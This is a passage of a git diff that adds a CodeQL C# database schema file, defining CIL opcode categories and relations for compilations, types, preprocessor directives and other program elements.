+| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +| 4 = @cil_function_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_function_pointer_return_type( + unique int id: @cil_function_pointer_type ref, + int return_type: @cil_type ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field | @cil_function_pointer_type; +@cil_parameterizable = @cil_method | @cil_function_pointer_type; +@cil_has_type_annotation = @cil_stack_variable | @cil_property | @cil_method | @cil_function_pointer_type; + +#keyset[parameterizable, index] +cil_parameter( + unique int id: @cil_parameter, + int parameterizable: @cil_parameterizable ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_type_annotation( + int id: @cil_has_type_annotation ref, + int annotation: int ref); + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +cil_function_pointer_calling_conventions( + int id: @cil_function_pointer_type ref, + int kind: int ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; +@dotnet_parameterizable = @parameterizable | @cil_parameterizable; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/semmlecode.csharp.dbscheme b/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..16936565fbe --- /dev/null +++ b/csharp/upgrades/68db341c2ed1693c2ae6e20ad533c84138cb275a/semmlecode.csharp.dbscheme @@ -0,0 +1,2082 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +/* + * External artifacts + */ + +externalDefects( + unique int id: @externalDefect, + string queryPath: string ref, + int location: @location ref, + string message: string ref, + float severity: float ref); + +externalMetrics( + unique int id: @externalMetric, + string queryPath: string ref, + int location: @location ref, + float value: float ref); + +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +snapshotDate( + unique date snapshotDate: date ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Duplicate code + */ + +duplicateCode( + unique int id: @duplication, + string relativePath: string ref, + int equivClass: int ref); + +similarCode( + unique int id: @similarity, + string relativePath: string ref, + int equivClass: int ref); + +@duplication_or_similarity = @duplication | @similarity + +tokens( + int id: @duplication_or_similarity ref, + int offset: int ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @external_element + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@external_element = @externalMetric | @externalDefect | @externalDataElement; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +/* + fromSource(0) = unknown, + fromSource(1) = from source, + fromSource(2) = from library +*/ +files( + unique int id: @file, + string name: string ref, + string simple: string ref, + string ext: string ref, + int fromSource: int ref); + +folders( + unique int id: @folder, + string name: string ref, + string simple: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref +) + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + unique int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | 